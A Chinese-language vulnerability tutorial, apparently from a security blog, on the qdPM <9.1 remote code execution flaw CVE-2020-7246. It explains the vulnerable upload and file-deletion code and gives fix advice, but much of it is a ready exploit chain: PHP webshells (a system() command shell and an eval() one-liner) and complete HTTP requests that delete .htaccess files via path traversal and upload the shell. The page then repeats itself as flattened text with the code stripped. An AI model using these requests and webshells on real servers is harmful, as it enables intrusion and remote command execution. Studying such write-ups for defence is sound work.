qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)
字数 1350 2025-08-25 22:58:46

qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)教学文档

0x00 漏洞背景

qdPM是一个基于web的项目管理系统,版本9.1之前存在远程代码执行漏洞(CVE-2020-7246)。该漏洞源于系统对.htaccess文件的不当处理以及上传功能的缺陷,导致攻击者可以绕过安全限制上传恶意PHP文件并执行任意代码。

0x01 前置知识

.htaccess文件机制

  1. 作用:.htaccess是Apache服务器的配置文件,用于控制相关目录及其子目录的访问权限
  2. 优先级:子目录中的.htaccess会覆盖父目录或根目录中的指令
  3. qdPM中的配置
    • 根目录.htaccess:限制HTML文件访问
    • users目录.htaccess:限制只能上传图片文件(阻止.php、.html等文件上传)

漏洞相关文件

  1. users/.htaccess内容:
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
   Order Deny,Allow
   Deny from all
</FilesMatch>
  1. 根目录.htaccess内容(部分):
<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteRule ^$ index.html [QSA]
  RewriteRule ^([^.]+)$ $1.html [QSA]
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteRule ^(.*)$ index.php [QSA,L]
</IfModule>

0x02 漏洞复现步骤

环境准备

  1. 搭建qdPM <9.1版本环境
  2. 注册普通用户(如user01@localhost.com/user01)

攻击流程

  1. 删除安全限制文件

    • 删除users目录下的.htaccess文件
    • 删除根目录下的.htaccess文件
  2. 上传Webshell

    • 通过用户信息更新功能上传恶意PHP文件
    • 文件内容示例:
      <?php if(isset($_REQUEST['cmd'])){ 
        echo "<pre>"; 
        $cmd = ($_REQUEST['cmd']); 
        echo $cmd." "; 
        system($cmd); 
        echo "</pre>"; 
        die; 
      }?>
      
  3. 访问Webshell

    • 直接访问上传的PHP文件
    • 通过cmd参数执行系统命令,如:
      http://target/uploads/users/backdoor.php?cmd=ls
      
  4. 获取完整Shell

    • 写入一句话木马:
      <?php eval($_POST[123]);?>
      
    • 使用蚁剑等工具连接

0x03 漏洞原理分析

关键代码分析

漏洞位于core/apps/qdPM/modules/users/actions/actions.class.php文件的processForm()方法中:

  1. 文件删除漏洞

    if ($request->getParameter('remove_photo') == 1 && strlen($request->getParameter('photo_preview')) > 0) {
        unlink($request->getParameter('photo_preview'));
    }
    
    • 通过构造remove_photo=1photo_preview=.htaccess可删除任意文件
    • 使用../路径遍历可删除根目录.htaccess
  2. 文件上传漏洞

    if (strlen($_FILES['users']['name']['photo']) > 0) {
        $upload_dir = sfConfig::get('sf_upload_dir') . '/users/';
        move_uploaded_file($_FILES['users']['tmp_name']['photo'], $upload_dir . $_FILES['users']['name']['photo']);
    }
    
    • 删除.htaccess后,可绕过文件类型限制上传PHP文件

攻击链构建

  1. 首先删除users/.htaccess文件,解除上传限制
  2. 然后删除根目录.htaccess文件,确保PHP文件可执行
  3. 最后上传恶意PHP文件并访问执行

0x04 漏洞修复建议

  1. 升级到qdPM 9.1或更高版本
  2. 临时修复方案:
    • 加强.htaccess文件权限(644)
    • 检查用户上传功能,增加严格的文件类型验证
    • 禁用危险函数如unlink()或增加严格的路径检查
  3. 实施最小权限原则,限制web服务器用户权限

0x05 参考资源

  1. 漏洞EXP地址:https://packetstormsecurity.com/files/156063/qdPM-9.1-Remote-Code-Execution.html
  2. CVE详细信息:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7246
  3. qdPM官方网站:http://qdpm.net/

附录:完整攻击请求示例

  1. 删除users/.htaccess请求:
POST /index.php/myAccount/update HTTP/1.1
Content-Type: multipart/form-data

sf_method=put&users[id]=1&users[photo_preview]=.htaccess&users[_csrf_token]=[TOKEN]&users[name]=attacker&users[new_password]=&users[email]=attacker@example.com&extra_fields[9]=&users[remove_photo]=1
  1. 删除根目录.htaccess请求:
POST /index.php/myAccount/update HTTP/1.1
Content-Type: multipart/form-data

sf_method=put&users[id]=1&users[photo_preview]=../.htaccess&users[_csrf_token]=[TOKEN]&users[name]=attacker&users[new_password]=&users[email]=attacker@example.com&extra_fields[9]=&users[remove_photo]=1
  1. 上传Webshell请求:
POST /index.php/myAccount/update HTTP/1.1
Content-Type: multipart/form-data

sf_method=put&users[id]=1&users[photo_preview]=&users[_csrf_token]=[TOKEN]&users[name]=attacker&users[new_password]=&users[email]=attacker@example.com&extra_fields[9]=&users[photo]=@backdoor.php& <?php system($_GET['cmd']); ?>
qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)教学文档 0x00 漏洞背景 qdPM是一个基于web的项目管理系统,版本9.1之前存在远程代码执行漏洞(CVE-2020-7246)。该漏洞源于系统对.htaccess文件的不当处理以及上传功能的缺陷,导致攻击者可以绕过安全限制上传恶意PHP文件并执行任意代码。 0x01 前置知识 .htaccess文件机制 作用 :.htaccess是Apache服务器的配置文件,用于控制相关目录及其子目录的访问权限 优先级 :子目录中的.htaccess会覆盖父目录或根目录中的指令 qdPM中的配置 : 根目录.htaccess:限制HTML文件访问 users目录.htaccess:限制只能上传图片文件(阻止.php、.html等文件上传) 漏洞相关文件 users/.htaccess 内容: 根目录.htaccess 内容(部分): 0x02 漏洞复现步骤 环境准备 搭建qdPM <9.1版本环境 注册普通用户(如user01@localhost.com/user01) 攻击流程 删除安全限制文件 : 删除users目录下的.htaccess文件 删除根目录下的.htaccess文件 上传Webshell : 通过用户信息更新功能上传恶意PHP文件 文件内容示例: 访问Webshell : 直接访问上传的PHP文件 通过cmd参数执行系统命令,如: 获取完整Shell : 写入一句话木马: 使用蚁剑等工具连接 0x03 漏洞原理分析 关键代码分析 漏洞位于 core/apps/qdPM/modules/users/actions/actions.class.php 文件的 processForm() 方法中: 文件删除漏洞 : 通过构造 remove_photo=1 和 photo_preview=.htaccess 可删除任意文件 使用 ../ 路径遍历可删除根目录.htaccess 文件上传漏洞 : 删除.htaccess后,可绕过文件类型限制上传PHP文件 攻击链构建 首先删除users/.htaccess文件,解除上传限制 然后删除根目录.htaccess文件,确保PHP文件可执行 最后上传恶意PHP文件并访问执行 0x04 漏洞修复建议 升级到qdPM 9.1或更高版本 临时修复方案: 加强.htaccess文件权限(644) 检查用户上传功能,增加严格的文件类型验证 禁用危险函数如 unlink() 或增加严格的路径检查 实施最小权限原则,限制web服务器用户权限 0x05 参考资源 漏洞EXP地址:https://packetstormsecurity.com/files/156063/qdPM-9.1-Remote-Code-Execution.html CVE详细信息:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7246 qdPM官方网站:http://qdpm.net/ 附录:完整攻击请求示例 删除users/.htaccess请求: 删除根目录.htaccess请求: 上传Webshell请求: